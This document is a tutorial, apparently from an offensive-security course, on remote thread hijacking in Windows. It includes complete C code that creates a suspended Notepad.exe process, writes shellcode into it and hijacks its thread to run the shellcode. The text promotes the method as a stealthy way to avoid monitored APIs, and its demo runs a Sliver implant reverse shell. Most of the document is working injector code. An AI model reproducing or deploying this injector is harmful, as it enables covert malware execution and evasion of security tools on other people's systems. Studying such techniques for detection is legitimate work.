Remote Thread Hijacking
Introduction
As we have seen in the previous demo, we demonstrated thread hijacking within our local process. Here, we have created a suspended sacrificial thread that can execute a payload using its handle. Now we are going to extend this to a remote process.
The key difference here is that we won’t create a sacrificial thread directly in the remote process. Though there are functions like CreateRemoteThread
, which can achieve that, they are extremely monitored by security solutions and usually treated as malicious activity. Instead, we will create a sacrificial process in a suspended state using the CreateProcess
WinAPI. This WinAPI initializes all threads in the suspended state. In this way, we can do thread hijacking stealthily and effectively.
Remote Thread Hijacking Steps
This section describes the series of steps necessary for thread hijacking of a thread residing in a remote process.
Leveraging the CreateProcess
WinAPI
CreateProcess
is a very powerful Windows API function that gives wide flexibility during the creation of new processes. Here is a summary of the most important parameters:
1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
- The
lpApplicationName
andlpCommandLine
parameters represent the name of a process and its respective command line arguments, For example,lpApplicationName
can beC:\Windows\System32\cmd.exe
andlpCommandLine
can be/k whoami
. Alternatively,lpApplicationName
can be set toNULL
butlpCommandLine
can have the process name and its arguments,C:\Windows\System32\cmd.exe /k whoami
. Both parameters are marked as optional meaning a newly created process does not need to have any arguments. dwCreationFlags
is the parameter that controls the priority class and the creation of the process. The possible values for this parameter can be found here. For example, using theCREATE_SUSPENDED
flag creates the process in a suspended state.lpStartupInfo
is a pointer to STARTUPINFO which contains details related to the process creation. The only element that needs to be populated isDWORD cb
, which is the size of the structure in bytes.lpProcessInformation
is an OUT parameter that returns a PROCESS_INFORMATION structure. ThePROCESS_INFORMATION
structure is shown below.
1
2
3
4
5
6
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; // A handle to the newly created process.
HANDLE hThread; // A handle to the main thread of the newly created process.
DWORD dwProcessId; // Process ID
DWORD dwThreadId; // Main Thread's ID
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
Using Environment Variables
The last remaining piece for creating a process is determining the process’s full path. The sacrificial process will be created from a binary that resides in the System32
directory. It’s possible to assume the path will be C:\Windows\System32
and hard code that value, but it’s always safer to programmatically verify the path. To do so, the GetEnvironmentVariableA WinAPI will be used. GetEnvironmentVariableA
retrieves the value of a specified environment variable which in this case will be “WINDIR”.
WINDIR
is an environment variable that points to the installation directory of the Windows operating system. On most systems, this directory is “C:\Windows”. It’s possible to access the value of the WINDIR environment variable by typing “echo %WINDIR%” in the command prompt or simply typing %WINDIR%
in the file explorer search bar.
1
2
3
4
5
DWORD GetEnvironmentVariableA(
[in, optional] LPCSTR lpName,
[out, optional] LPSTR lpBuffer,
[in] DWORD nSize
);
Creating a Sacrificial Process Function
CreateSuspendedProcess
will be used to create the sacrificial process in a suspended state. It requires 4 arguments:
lpProcessName
- The name of the process to create.dwProcessId
- A pointer to a DWORD which receives the process ID.hProcess
- A pointer to a HANDLE that receives the process handle.hThread
- A pointer to a HANDLE that receives the thread handle.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// Cleaning the structs by setting the member values to 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
// Getting the value of the %WINDIR% environment variable
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the full target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
if (!CreateProcessA(
NULL, // No module name (use command line)
lpPath, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED, // Creation flag
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&Si, // Pointer to STARTUPINFO structure
&Pi)) { // Pointer to PROCESS_INFORMATION structure
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// Populating the OUT parameters with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Doing a check to verify we got everything we need
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
Injecting Remote Process Function
The next step after creating the target process is to inject the payload using the InjectShellcodeToRemoteProcess
function designed to . The payload is only written to the remote process without being executed. The base address is then stored for later use via thread hijacking.
The InjectShellcodeToRemoteProcess
function performs the following tasks:
- Allocates memory in a specified remote process.
- Writes shellcode into that allocated memory.
- Changes the memory protection to allow execution of the shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Remote Thread Hijacking Function
After creating the suspended process and writing the payload to the remote process, the final step is to use the thread handle which was returned by CreateSuspendedProcess
to perform thread hijacking. This part is the same as the one demonstrated in the local thread hijacking module.
To recap, GetThreadContext
is used to retrieve the thread’s context, update the RIP
register to point to the written payload, call SetThreadContext
to update the thread’s context and finally use ResumeThread
to execute the payload. All of this is demonstrated in the custom function below, HijackThread
, which takes two arguments:
hThread
- The thread to hijack.pAddress
- A pointer to the base address of the payload to be executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// updating the next instruction pointer to be equal to our shellcode's address
ThreadCtx.Rip = pAddress;
// setting the new updated thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// resuming suspended thread, thus running our payload
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
Conclusion
- A new process was created in a suspended state using
CreateProcessA
, which created all of its threads in a suspended state as well. - The payload was injected into the newly created process using
VirtualAllocEx
andWriteProcessMemory
but was not executed. - Used the thread handle returned from
CreateProcessA
to execute the payload via thread hijacking.
Demo
This demo uses Notepad.exe
as the sacrificial process, hijacks its thread and executes the sliver implant reverse shell:
Hijacking Remote Thread within Notepad.exe process
Received Reverse Shell connection from sliver implant
Final main.c project
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <Windows.h>
#include <stdio.h>
#define TARGET_PROCESS "Notepad.exe"
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, PAYLOAD HERE##
};
BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// Cleaning the structs by setting the member values to 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
// Getting the value of the %WINDIR% environment variable (this is usually 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the full target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
if (!CreateProcessA(
NULL, // No module name (use command line)
lpPath, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED, // creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&Si, // Pointer to STARTUPINFO structure
&Pi)) { // Pointer to PROCESS_INFORMATION structure
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// Populating the OUT parameters with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Doing a check to verify we got everything we need
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\n\t[i] Allocated Memory At : 0x%p \n", *ppAddress);
printf("\t[#] Press <Enter> To Write Payload ... ");
getchar();
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// updating the next instruction pointer to be equal to our shellcode's address
ThreadCtx.Rip = pAddress;
// setting the new updated thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\n\t[#] Press <Enter> To Run ... ");
getchar();
// resuming suspended thread, thus running our payload
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
HANDLE hProcess = NULL,
hThread = NULL;
DWORD dwProcessId = NULL;
PVOID pAddress = NULL;
// creating target remote process (in suspended state)
printf("[i] Creating \"%s\" Process ... ", TARGET_PROCESS);
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
return -1;
}
printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);
printf("[+] DONE \n\n");
// injecting the payload and getting the base address of it
printf("[i] Writing Shellcode To The Target Process ... ");
if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
// performing thread hijacking to run the payload
printf("[i] Hijacking The Target Thread To Run Our Shellcode ... ");
if (!HijackThread(hThread, pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}